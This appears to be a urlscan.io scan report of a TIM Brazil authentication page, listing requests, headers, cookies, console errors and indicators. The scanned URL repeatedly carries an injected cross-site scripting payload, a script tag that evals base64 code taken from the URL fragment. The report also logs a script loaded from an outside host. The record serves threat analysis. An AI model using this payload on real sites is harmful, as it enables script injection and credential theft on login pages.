%00%00%00%00%00%00%00%253CScript%253Eeval(atob(window.location.hash.substr(1)))%253C%252FScript%253E%2525252FNCN%2525252Fredirect%2526paymentType%253D2
Protocol: H2
Security: TLS 1.3, , AES_128_GCM
Server: 45.60.63.22 , United States, ASN19551 (INCAPSULA, US),
Reverse DNS
Software: Apache /
Resource Hash: c28f024df8df9c3553efca35b134d3bde558f9e5f85a3b052d581bef81c47c90

Request headers

accept-language: en-US,en;q=0.9
Referer: http://auth3.tim.com.br/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

date: Mon, 22 Jan 2024 22:22:17 GMT
content-encoding: gzip
last-modified: Mon, 25 Nov 2019 18:36:55 GMT
server: Apache
x-cdn: Imperva
etag: "16e8fc-130-598300c411fc0"
content-type: application/javascript
x-iinfo: 55-9235023-9235040 PNYN RT(1705962135819 113) q(0 8 8 -1) r(10 10) U24
x-incap-sess-cookie-hdr: 0JsmIJLaMQuAJ0GmQBFjApjqrmUAAAAAhoHkM7mgk0PFS/4zbKC6nw==
accept-ranges: bytes

GET
H2 404 gtm.js
www.googletagmanager.com/ 0
0 493ms
181ms Script
text/html 142.250.72.104
GOOGLE

General

Check archive.org

Show headers Download Go to

Full URL: https://www.googletagmanager.com/gtm.js?id=GTM-XXXX
Requested by: Host: auth3.tim.com.br
URL: http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F4091ACB28FCD2C93EFA64F67EC7905B8B708C&contextType=external&username=string&enablePersistentLogin=true&password=secure_string&challenge_url=http%3A%2F%2Fauth3.tim.com.br%2Fv3%2Faccesscontrol-web%2Fheloading&request_id=8407358969913691941&authn_try_count=0&locale=uk_UA&resource_url=https%253A%252F%252Fauth3.tim.com.br%252Fv3%252Faccesscontrol-web%252Fhe%253Fclient_id%253Db4da3e0624b94cbabb4d4c82b84b3012%2526csp%253D751%2526appid%253D11657%2526msisdn%253D16982527516%2526redirect_uri%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2525252FNCN%2525252Fcallback%2525252Fpending%2526SecureSessionId%253DAQ4z3kkKCibe9oqqd_5osqMKaYkmfLQn0SBDpKMj_k8SHvaQO11enrYcmhdBDWgLEgjG%2526campaignReturnURL%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2522%253E%00%00%00%00%00%00%00%253CScript%253Eeval(atob(window.location.hash.substr(1)))%253C%252FScript%253E%2525252FNCN%2525252Fredirect%2526paymentType%253D2
Protocol: H2
Security: TLS 1.3, , AES_128_GCM
Server: 142.250.72.104 , United States, ASN15169 (GOOGLE, US),
Reverse DNS: lga34s32-in-f8.1e100.net
Software: /
Resource Hash

Request headers

accept-language: en-US,en;q=0.9
Referer: http://auth3.tim.com.br/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

GET
H2 200 loading.gif
auth3.tim.com.br/OTP/imgs/ 22 KB
23 KB 275ms
273ms Image
image/gif 45.60.63.22
INCAPSULA

General

Check archive.org

Show headers Download Go to Show image

Full URL: https://auth3.tim.com.br/OTP/imgs/loading.gif
Requested by: Host: auth3.tim.com.br
URL: http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F4091ACB28FCD2C93EFA64F67EC7905B8B708C&contextType=external&username=string&enablePersistentLogin=true&password=secure_string&challenge_url=http%3A%2F%2Fauth3.tim.com.br%2Fv3%2Faccesscontrol-web%2Fheloading&request_id=8407358969913691941&authn_try_count=0&locale=uk_UA&resource_url=https%253A%252F%252Fauth3.tim.com.br%252Fv3%252Faccesscontrol-web%252Fhe%253Fclient_id%253Db4da3e0624b94cbabb4d4c82b84b3012%2526csp%253D751%2526appid%253D11657%2526msisdn%253D16982527516%2526redirect_uri%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2525252FNCN%2525252Fcallback%2525252Fpending%2526SecureSessionId%253DAQ4z3kkKCibe9oqqd_5osqMKaYkmfLQn0SBDpKMj_k8SHvaQO11enrYcmhdBDWgLEgjG%2526campaignReturnURL%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2522%253E%00%00%00%00%00%00%00%253CScript%253Eeval(atob(window.location.hash.substr(1)))%253C%252FScript%253E%2525252FNCN%2525252Fredirect%2526paymentType%253D2
Protocol: H2
Security: TLS 1.3, , AES_128_GCM
Server: 45.60.63.22 , United States, ASN19551 (INCAPSULA, US),
Reverse DNS
Software: Apache /
Resource Hash: 3e75a6774ef7041083d556b2f83a816acdd398eff6add8c1867c0cea9ddf6d4b

Request headers

accept-language: en-US,en;q=0.9
Referer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

date: Mon, 22 Jan 2024 22:22:18 GMT
last-modified: Wed, 31 Aug 2016 14:46:24 GMT
server: Apache
x-cdn: Imperva
etag: "42816-5992-53b5f2946f000"
content-type: image/gif
x-iinfo: 55-9235023-9235037 PNNN RT(1705962135819 1858) q(0 0 0 0) r(2 2) U24
x-incap-sess-cookie-hdr: 08jEAu647HDSMEGmQBFjApnqrmUAAAAAcCNF0DepfuuaW+XWRb8aKQ==
accept-ranges: bytes
content-length: 22930

GET header.aspx
wap.dindo.com.br/newMobile/auth/tim/ Frame 210E 0
0

GET
H/1.1 200
OK temp.js Show response
topadvisitpro.pro/lion/222gdhj/ 9 KB
4 KB 237ms
237ms Script
application/javascript 45.90.56.13
GREENFLOID-AS

General

Check archive.org

Show headers Download Go to

Full URL: http://topadvisitpro.pro/lion/222gdhj/temp.js
Requested by: Host: auth3.tim.com.br
URL: http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F4091ACB28FCD2C93EFA64F67EC7905B8B708C&contextType=external&username=string&enablePersistentLogin=true&password=secure_string&challenge_url=http%3A%2F%2Fauth3.tim.com.br%2Fv3%2Faccesscontrol-web%2Fheloading&request_id=8407358969913691941&authn_try_count=0&locale=uk_UA&resource_url=https%253A%252F%252Fauth3.tim.com.br%252Fv3%252Faccesscontrol-web%252Fhe%253Fclient_id%253Db4da3e0624b94cbabb4d4c82b84b3012%2526csp%253D751%2526appid%253D11657%2526msisdn%253D16982527516%2526redirect_uri%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2525252FNCN%2525252Fcallback%2525252Fpending%2526SecureSessionId%253DAQ4z3kkKCibe9oqqd_5osqMKaYkmfLQn0SBDpKMj_k8SHvaQO11enrYcmhdBDWgLEgjG%2526campaignReturnURL%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2522%253E%00%00%00%00%00%00%00%253CScript%253Eeval(atob(window.location.hash.substr(1)))%253C%252FScript%253E%2525252FNCN%2525252Fredirect%2526paymentType%253D2
Protocol: HTTP/1.1
Server: 45.90.56.13 Geneva, Switzerland, ASN204957 (GREENFLOID-AS, US),
Reverse DNS: mon-fri.gg
Software: Apache/2.4.38 (Debian) /
Resource Hash: f05e67abbb4c8036ae631ee4fc5a99428d5bad75fd8996dfb01c09ec6ade3a1b

Request headers

accept-language: en-US,en;q=0.9
Referer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

Date: Mon, 22 Jan 2024 22:22:18 GMT
Content-Encoding: gzip
Last-Modified: Tue, 19 Dec 2023 10:56:15 GMT
Server: Apache/2.4.38 (Debian)
ETag: "2599-60cdab7290029-gzip"
Vary: Accept-Encoding
Content-Type: application/javascript
Connection: Keep-Alive
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=99
Content-Length: 3248

GET
H/1.1 200
OK refuturiza1-weekly-pt-doi-web Show response
www.timpromos.com.br/OTA-BRTIM-CENTR/ 169 KB
46 KB 1169ms
712ms XHR
text/html 91.241.94.8
UPSTREAM-AS Greece

General

Check archive.org

Show headers Download Go to

Full URL

http://www.timpromos.com.br/OTA-BRTIM-CENTR/refuturiza1-weekly-pt-doi-web?HEKeyword=OTA_REFUTURIZA_WEEK_GRL_1&utm_source=gorilla&utm_medium=cpa&utm_content=refuturiza1&utm_campaign=OTA_REFUTURIZA_WEEK_GRL_1-gorilla-web-cpa-refuturiza1-image&grl_id=nBQOLk50yG210006KibWN7sdRRiZj0&grl_pubid=859&grl_sub_pubid=

Requested by

Host: auth3.tim.com.br
URL: https://auth3.tim.com.br/OTP/js/jquery.min.js

Protocol

HTTP/1.1

Server

91.241.94.8 , Greece, ASN49582 (UPSTREAM-AS Greece, GR),

Reverse DNS

Software

Resource Hash

5e4e22123528b397ef08ddedefc4f96f191132ac767e15bed5ba5b2e2503497e

Security Headers

Name	Value
Strict-Transport-Security	max-age=0; includeSubDomains

Request headers

Accept: */*
Referer
accept-language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

Date: Mon, 22 Jan 2024 22:22:19 GMT
Content-Encoding: gzip
Via: 1.1 brtim1-varnish-5d85b7f48-6dnqh (Varnish/7.4)
Strict-Transport-Security: max-age=0; includeSubDomains
Age: 0
Vary: Accept-Encoding
X-Cache: MISS
X-Varnish: 206345874
Content-Type: text/html; charset=UTF-8
Access-Control-Allow-Origin: *
Cache-Control: no-cache, private
Transfer-Encoding: chunked
Connection: Keep-Alive
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=1000

GET
H2

404

OTA-BRTIM-CENTR-refuturiza1-weekly-pt-doi-web.css
auth3.tim.com.br/v3/accesscontrol-web/assets/ Frame C48A
Redirect Chain

http://auth3.tim.com.br/v3/accesscontrol-web/assets/OTA-BRTIM-CENTR-refuturiza1-weekly-pt-doi-web.css?ver=38
https://auth3.tim.com.br/v3/accesscontrol-web/assets/OTA-BRTIM-CENTR-refuturiza1-weekly-pt-doi-web.css?ver=38

0
0

305ms
304ms

Stylesheet
text/html

45.60.63.22
INCAPSULA

General

Check archive.org

Show headers Download Go to

Full URL: https://auth3.tim.com.br/v3/accesscontrol-web/assets/OTA-BRTIM-CENTR-refuturiza1-weekly-pt-doi-web.css?ver=38
Protocol: H2
Server: 45.60.63.22 , United States, ASN19551 (INCAPSULA, US),
Reverse DNS
Software: /
Resource Hash

Request headers

accept-language: en-US,en;q=0.9
Referer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

Redirect headers

Date: Mon, 22 Jan 2024 22:22:21 GMT
Server: Apache
X-CDN: Imperva
Content-Type: text/html; charset=iso-8859-1
Location: https://auth3.tim.com.br/v3/accesscontrol-web/assets/OTA-BRTIM-CENTR-refuturiza1-weekly-pt-doi-web.css?ver=38
X-Iinfo: 61-13882750-13883594 NNNY CT(189 -1 0) RT(1705962135129 5569) q(0 0 0 -1) r(2 2) U24
Connection: Keep-Alive
Keep-Alive: timeout=4, max=1500
Content-Length: 293

GET
H2 200 gtm.js Show response
www.googletagmanager.com/ 181 KB
65 KB 196ms
195ms Script
application/javascript 142.250.72.104
GOOGLE

General

Check archive.org

Show headers Download Go to

Full URL

https://www.googletagmanager.com/gtm.js?id=GTM-T69VWPMX

Requested by

Host: auth3.tim.com.br
URL: http://auth3.tim.com.br/v3/accesscontrol-web/heloading?bmctx=D1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F4091ACB28FCD2C93EFA64F67EC7905B8B708C&contextType=external&username=string&enablePersistentLogin=true&password=secure_string&challenge_url=http%3A%2F%2Fauth3.tim.com.br%2Fv3%2Faccesscontrol-web%2Fheloading&request_id=8407358969913691941&authn_try_count=0&locale=uk_UA&resource_url=https%253A%252F%252Fauth3.tim.com.br%252Fv3%252Faccesscontrol-web%252Fhe%253Fclient_id%253Db4da3e0624b94cbabb4d4c82b84b3012%2526csp%253D751%2526appid%253D11657%2526msisdn%253D16982527516%2526redirect_uri%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2525252FNCN%2525252Fcallback%2525252Fpending%2526SecureSessionId%253DAQ4z3kkKCibe9oqqd_5osqMKaYkmfLQn0SBDpKMj_k8SHvaQO11enrYcmhdBDWgLEgjG%2526campaignReturnURL%253Dhttp%2525253A%2525252F%2525252Fwww.timpromos.com.br%2522%253E%00%00%00%00%00%00%00%253CScript%253Eeval(atob(window.location.hash.substr(1)))%253C%252FScript%253E%2525252FNCN%2525252Fredirect%2526paymentType%253D2

Protocol

Security

TLS 1.3, , AES_128_GCM

Server

142.250.72.104 , United States, ASN15169 (GOOGLE, US),

Reverse DNS

lga34s32-in-f8.1e100.net

Software

Google Tag Manager /

Resource Hash

5ab37059023d4248bd3e3a7bd9289df6f109bac78448babd757eac5f364f5199

Security Headers

Name	Value
Strict-Transport-Security	max-age=31536000; includeSubDomains
X-Xss-Protection	0

Request headers

accept-language: en-US,en;q=0.9
Referer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

date: Mon, 22 Jan 2024 22:22:21 GMT
content-encoding: br
strict-transport-security: max-age=31536000; includeSubDomains
cross-origin-resource-policy: cross-origin
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length: 66277
x-xss-protection: 0
last-modified: Mon, 22 Jan 2024 21:27:16 GMT
server: Google Tag Manager
vary: Accept-Encoding
content-type: application/javascript; charset=UTF-8
access-control-allow-origin: *
cache-control: private, max-age=900
access-control-allow-credentials: true
access-control-allow-headers: Cache-Control
expires: Mon, 22 Jan 2024 22:22:21 GMT

GET
H2

404

OTA-refuturiza1-logo.png
auth3.tim.com.br/v3/accesscontrol-web/assets/images/Telecom/ Frame C48A
Redirect Chain

http://auth3.tim.com.br/v3/accesscontrol-web/assets/images/Telecom/OTA-refuturiza1-logo.png
https://auth3.tim.com.br/v3/accesscontrol-web/assets/images/Telecom/OTA-refuturiza1-logo.png

0
0

288ms
287ms

Image
text/html

45.60.63.22
INCAPSULA

General

Check archive.org

Show headers Download Go to Show image

Full URL: https://auth3.tim.com.br/v3/accesscontrol-web/assets/images/Telecom/OTA-refuturiza1-logo.png
Protocol: H2
Server: 45.60.63.22 , United States, ASN19551 (INCAPSULA, US),
Reverse DNS
Software: /
Resource Hash: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Request headers

accept-language: en-US,en;q=0.9
Referer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

Redirect headers

Date: Mon, 22 Jan 2024 22:22:21 GMT
Server: Apache
X-CDN: Imperva
Content-Type: text/html; charset=iso-8859-1
Location: https://auth3.tim.com.br/v3/accesscontrol-web/assets/images/Telecom/OTA-refuturiza1-logo.png
X-Iinfo: 38-7039193-7039194 NNNY CT(187 -1 0) RT(1705962140827 0) q(0 0 0 -1) r(2 2) U24
Connection: Keep-Alive
Keep-Alive: timeout=4, max=800
Content-Length: 276

GET
H2

404

check.png
auth3.tim.com.br/v3/accesscontrol-web/assets/images/Telecom/ Frame C48A
Redirect Chain

http://auth3.tim.com.br/v3/accesscontrol-web/assets/images/Telecom/check.png
https://auth3.tim.com.br/v3/accesscontrol-web/assets/images/Telecom/check.png

0
0

371ms
371ms

Image
text/html

45.60.63.22
INCAPSULA

General

Check archive.org

Show headers Download Go to Show image

Full URL: https://auth3.tim.com.br/v3/accesscontrol-web/assets/images/Telecom/check.png
Protocol: H2
Server: 45.60.63.22 , United States, ASN19551 (INCAPSULA, US),
Reverse DNS
Software: /
Resource Hash: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Request headers

accept-language: en-US,en;q=0.9
Referer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

Redirect headers

Date: Mon, 22 Jan 2024 22:22:21 GMT
Server: Apache
X-CDN: Imperva
Content-Type: text/html; charset=iso-8859-1
Location: https://auth3.tim.com.br/v3/accesscontrol-web/assets/images/Telecom/check.png
X-Iinfo: 10-2164003-2164004 NNNY CT(187 -1 0) RT(1705962140827 1) q(0 0 0 -1) r(2 2) U24
Connection: Keep-Alive
Keep-Alive: timeout=4, max=1500
Content-Length: 261

GET
H/1.1 200 AQ4z3kmq_R8-1vhIJ4RZZoxvl3nIbVJQV1-HWSPNaWNgAK4epnfJfb9eX7n7rArsbeMr
analytics-br-tim.securewebfraud.io/web/v1/content/view/Confirmation/br_tim/ Frame C48A 51 B
332 B 980ms
475ms Image
image/gif 91.220.208.18

General

Check archive.org

Show headers Download Go to Show image

Full URL: http://analytics-br-tim.securewebfraud.io/web/v1/content/view/Confirmation/br_tim/AQ4z3kmq_R8-1vhIJ4RZZoxvl3nIbVJQV1-HWSPNaWNgAK4epnfJfb9eX7n7rArsbeMr
Protocol: HTTP/1.1
Server: 91.220.208.18 -, , ASN (),
Reverse DNS
Software: /
Resource Hash: 7455bacb03f7ef04d79010638db14d8434cf7a349914c2ee99eb5d4220338675

Request headers

accept-language: en-US,en;q=0.9
Referer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

Pragma: no-cache
Date: Mon, 22 Jan 2024 22:22:21 GMT
Content-Type: image/gif
Cache-Control: no-store, private
Content-Disposition: attachment; filename="pixel"
Connection: Keep-Alive
Accept-Ranges: bytes
Keep-Alive: timeout=2, max=1000
Content-Length: 51

GET
H/1.1 200 AQ4z3kmq_R8-1vhIJ4RZZoxvl3nIbVJQV1-HWSPNaWNgAK4epnfJfb9eX7n7rArsbeMr
www.timpromos.com.br/security-platform-web/web/v1/content/view/Confirmation/br_tim/ Frame C48A 51 B
501 B 559ms
479ms Image
image/gif 91.241.94.8
UPSTREAM-AS Greece

General

Check archive.org

Show headers Download Go to Show image

Full URL: http://www.timpromos.com.br/security-platform-web/web/v1/content/view/Confirmation/br_tim/AQ4z3kmq_R8-1vhIJ4RZZoxvl3nIbVJQV1-HWSPNaWNgAK4epnfJfb9eX7n7rArsbeMr
Protocol: HTTP/1.1
Server: 91.241.94.8 , Greece, ASN49582 (UPSTREAM-AS Greece, GR),
Reverse DNS
Software: /
Resource Hash: 7455bacb03f7ef04d79010638db14d8434cf7a349914c2ee99eb5d4220338675

Request headers

accept-language: en-US,en;q=0.9
Referer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

Pragma: no-cache
Date: Mon, 22 Jan 2024 22:22:21 GMT
Content-Type: image/gif
Cache-Control: no-store, private
Content-Disposition: attachment; filename="pixel"
Connection: Keep-Alive
Accept-Ranges: bytes
Keep-Alive: timeout=5, max=1000
Content-Length: 51

GET
H3 200 js Show response
www.googletagmanager.com/gtag/ 254 KB
87 KB 202ms
201ms Script
application/javascript 142.250.72.104
GOOGLE

General

Check archive.org

Show headers Download Go to

Full URL

https://www.googletagmanager.com/gtag/js?id=G-ZL3PVXQEDZ&l=dataLayer&cx=c

Requested by

Host: www.googletagmanager.com
URL: https://www.googletagmanager.com/gtm.js?id=GTM-T69VWPMX

Protocol

Security

QUIC, , AES_128_GCM

Server

142.250.72.104 , United States, ASN15169 (GOOGLE, US),

Reverse DNS

lga34s32-in-f8.1e100.net

Software

Google Tag Manager /

Resource Hash

eafc42c7f64642f4338d0160fd1741f69c775c21054c053fc85e9c5185b38495

Security Headers

Name	Value
Strict-Transport-Security	max-age=31536000; includeSubDomains
X-Xss-Protection	0

Request headers

accept-language: en-US,en;q=0.9
Referer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

date: Mon, 22 Jan 2024 22:22:21 GMT
content-encoding: br
strict-transport-security: max-age=31536000; includeSubDomains
server: Google Tag Manager
vary: Accept-Encoding
content-type: application/javascript; charset=UTF-8
access-control-allow-origin: *
cache-control: private, max-age=900
access-control-allow-credentials: true
cross-origin-resource-policy: cross-origin
access-control-allow-headers: Cache-Control
content-length: 88774
x-xss-protection: 0
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
expires: Mon, 22 Jan 2024 22:22:21 GMT

POST
H2 204 collect
analytics.google.com/g/ 0
254 B 683ms
163ms Ping
text/plain 142.250.65.174

General

Check archive.org

Show headers Download Go to

Full URL: https://analytics.google.com/g/collect?v=2&tid=G-ZL3PVXQEDZ&gtm=45je41h0v9171755568z89171752381&_p=1705962141110&_gaz=1&gcd=11l1l1l1l1&dma=0&cid=1724333097.1705962142&ul=en-us&sr=1600x1200&_s=1&sid=1705962142&sct=1&seg=0&dl=http%3A%2F%2Fauth3.tim.com.br%2Fv3%2Faccesscontrol-web%2Fheloading%3Fbmctx%3DD1C237A58FCD95265CB8D6ACE4AD377F2DE982FD5328553125A1F2A984F4091ACB28FCD2C93EFA64F67EC7905B8B708C%26contextType%3Dexternal%26username%3Dstring%26enablePersistentLogin%3Dtrue%26password%3Dsecure_string%26challenge_url%3Dhttp%253A%252F%252Fauth3.tim.com.br%252Fv3%252Faccesscontrol-web%252Fheloading%26request_id%3D8407358969913691941%26authn_try_count%3D0%26locale%3Duk_UA%26resource_url%3Dhttps%25253A%25252F%25252Fauth3.tim.com.br%25252Fv3%25252Faccesscontrol-web%25252Fhe%25253Fclient_id%25253Db4da3e0624b94cbabb4d4c82b84b3012%252526csp%25253D751%252526appid%25253D11657%252526msisdn%25253D16982527516%252526redirect_uri%25253Dhttp%252525253A%252525252F%252525252Fwww.timpromos.com.br%252525252FNCN%252525252Fcallback%252525252Fpending%252526SecureSessionId%25253DAQ4z3kkKCibe9oqqd_5osqMKaYkmfLQn0SBDpKMj_k8SHvaQO11enrYcmhdBDWgLEgjG%252526campaignReturnURL%25253Dhttp%252525253A%252525252F%252525252Fwww.timpromos.com.br%252522%25253E%2500%2500%2500%2500%2500%2500%2500%25253CScript%25253Eeval(atob(window.location.hash.substr(1)))%25253C%25252FScript%25253E%252525252FNCN%252525252Fredirect%252526paymentType%25253D2&dt=&en=page_view&_fv=1&_nsi=1&_ss=1&tfd=8263
Requested by: Host: www.googletagmanager.com
URL: https://www.googletagmanager.com/gtag/js?id=G-ZL3PVXQEDZ&l=dataLayer&cx=c
Protocol: H2
Security: TLS 1.3, , AES_128_GCM
Server: 142.250.65.174 -, , ASN (),
Reverse DNS
Software: Golfe2 /
Resource Hash

Request headers

accept-language: en-US,en;q=0.9
Referer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

pragma: no-cache
date: Mon, 22 Jan 2024 22:22:22 GMT
server: Golfe2
content-type: text/plain
access-control-allow-origin: http://auth3.tim.com.br
cache-control: no-cache, no-store, must-revalidate
access-control-allow-credentials: true
cross-origin-resource-policy: cross-origin
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length: 0
expires: Fri, 01 Jan 1990 00:00:00 GMT

POST
H2 204 collect
stats.g.doubleclick.net/g/ 0
245 B 672ms
153ms Ping
text/plain 172.253.63.154

General

Check archive.org

Show headers Download Go to

Full URL: https://stats.g.doubleclick.net/g/collect?v=2&tid=G-ZL3PVXQEDZ&cid=1724333097.1705962142&gtm=45je41h0v9171755568z89171752381&aip=1&dma=0&gcd=11l1l1l1l1
Requested by: Host: www.googletagmanager.com
URL: https://www.googletagmanager.com/gtag/js?id=G-ZL3PVXQEDZ&l=dataLayer&cx=c
Protocol: H2
Security: TLS 1.3, , AES_128_GCM
Server: 172.253.63.154 -, , ASN (),
Reverse DNS
Software: Golfe2 /
Resource Hash

Request headers

accept-language: en-US,en;q=0.9
Referer
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.224 Safari/537.36

Response headers

pragma: no-cache
date: Mon, 22 Jan 2024 22:22:22 GMT
server: Golfe2
content-type: text/plain
access-control-allow-origin: http://auth3.tim.com.br
cache-control: no-cache, no-store, must-revalidate
access-control-allow-credentials: true
cross-origin-resource-policy: cross-origin
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
content-length: 0
expires: Fri, 01 Jan 1990 00:00:00 GMT

GET /
google.com/ 0
0

Failed requests

These URLs were requested, but there was no response received. You will also see them in the list above.

Domain: wap.dindo.com.br
URL: https://wap.dindo.com.br/newMobile/auth/tim/cns.css

Domain: wap.dindo.com.br
URL: https://wap.dindo.com.br/newMobile/auth/tim/header.aspx?s=25

Domain: google.com
URL: https://google.com/

Verdicts & Comments Add Verdict or Comment

23 JavaScript Global Variables

These are the non-standard "global" variables defined on the window object. These can be helpful in identifying possible client-side frameworks and code.

5 Cookies

Cookies are little pieces of information stored in the browser of a user. Whenever a user visits the site again, he will also send his cookie values, thus allowing the website to re-identify him even if he changed locations. This is how permanent logins work.

Domain/Path	Expires	Name / Value
topadvisitpro.pro/lion	1969-12-31 23:59:59	Name: 62f4a4df2b244f8c84e02020a207f810 Value: 1
auth3.tim.com.br/	1969-12-31 23:59:59	Name: JSESSIONID Value: TbwzRGExXQHOTm9aSCs7Xrmm0RzBjeS-IAzLmWO4FhIm3GVkh_1N!934417739
.tim.com.br/	1970-01-21 02:37:20	Name: visid_incap_2787765 Value: pE0q3QFwS22k8lfyKUlYc5jqrmUAAAAAQUIPAAAAAABkkVEidU3N9sVHPzVlR+vz
.tim.com.br/	1969-12-31 23:59:59	Name: incap_ses_172_2787765 Value: uZEUEaQndQ7SMEGmQBFjApjqrmUAAAAAudoFeKfEmg+Q9LfR5S7LJw==
.tim.com.br/	1970-01-20 20:02:18	Name: _gcl_au Value: 1.1.440621711.1705962141

6 Console Messages

A page may trigger messages to the console to be logged. These are often error messages about being unable to load a resource or execute a piece of JavaScript. Sometimes they also provide insight into the technology behind a website.

Source	Level	URL Text
network	error	URL: https://wap.dindo.com.br/newMobile/auth/tim/cns.css Message: Failed to load resource: net::ERR_NAME_NOT_RESOLVED
network	error	URL: https://www.googletagmanager.com/gtm.js?id=GTM-XXXX Message: Failed to load resource: the server responded with a status of 404 ()
security	warning	URL: http://topadvisitpro.pro/lion/222gdhj/temp.js Message: An iframe which has both allow-scripts and allow-same-origin for its sandbox attribute can escape its sandboxing.
network	error	URL: https://auth3.tim.com.br/v3/accesscontrol-web/assets/OTA-BRTIM-CENTR-refuturiza1-weekly-pt-doi-web.css?ver=38 Message: Failed to load resource: the server responded with a status of 404 ()
network	error	URL: https://auth3.tim.com.br/v3/accesscontrol-web/assets/images/Telecom/OTA-refuturiza1-logo.png Message: Failed to load resource: the server responded with a status of 404 ()
network	error	URL: https://auth3.tim.com.br/v3/accesscontrol-web/assets/images/Telecom/check.png Message: Failed to load resource: the server responded with a status of 404 ()

Indicators

This is a term in the security industry to describe indicators such as IPs, Domains, Hashes, etc. This does not imply that any of these indicate malicious activity.

analytics-br-tim.securewebfraud.io
analytics.google.com
auth3.tim.com.br
google.com
stats.g.doubleclick.net
topadvisitpro.pro
wap.dindo.com.br
www.googletagmanager.com
www.timpromos.com.br
google.com
wap.dindo.com.br
142.250.65.174
142.250.72.104
172.253.63.154
45.60.63.22
45.90.56.13
91.220.208.18
91.241.94.8
38b82be8dc970bd32e5651b51b46d5c5bdd81a1766c035bbe022f1d00ac09fce
3e75a6774ef7041083d556b2f83a816acdd398eff6add8c1867c0cea9ddf6d4b
5ab37059023d4248bd3e3a7bd9289df6f109bac78448babd757eac5f364f5199
5e4e22123528b397ef08ddedefc4f96f191132ac767e15bed5ba5b2e2503497e
646de1820a3f0a81b2aa7ea26de561e5cbab36ef8430d7bb7b7f0ab024569b40
668b046d12db350ccba6728890476b3efee53b2f42dbb84743e5e9f1ae0cc404
71928367deed25916c0de98665f5733b47e07ae048a79a0901a48fabb9876040
7455bacb03f7ef04d79010638db14d8434cf7a349914c2ee99eb5d4220338675
90ae253eaa2abce79bfa26531288f0871e32e62f9d6bd47c20c50c2c5eb6571c
c28f024df8df9c3553efca35b134d3bde558f9e5f85a3b052d581bef81c47c90
d8151845717c3ed76a8002136f43423e7efedc096b4f60eb7aefe62c65544eef
e0ef803f8bb9cbe07f2407212c2422f87d48dbd08addb5bb994c5f485b2dcc6a
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
eafc42c7f64642f4338d0160fd1741f69c775c21054c053fc85e9c5185b38495
f05e67abbb4c8036ae631ee4fc5a99428d5bad75fd8996dfb01c09ec6ade3a1b

auth3.tim.com.br Open in urlscan Pro 45.60.63.22 Public Scan

Summary

urlscan.io Verdict: No classification

Domain & IP information

Screenshot Live screenshot Full Image

Page URL History Show full URLs

Detected technologies

Page Statistics

24 Requests

54 %HTTPS

0 %IPv6

8 Domains

9 Subdomains

8 IPs

3 Countries

280 kBTransfer

800 kBSize

5 Cookies

0 Outgoing links

Page URL History

Redirected requests

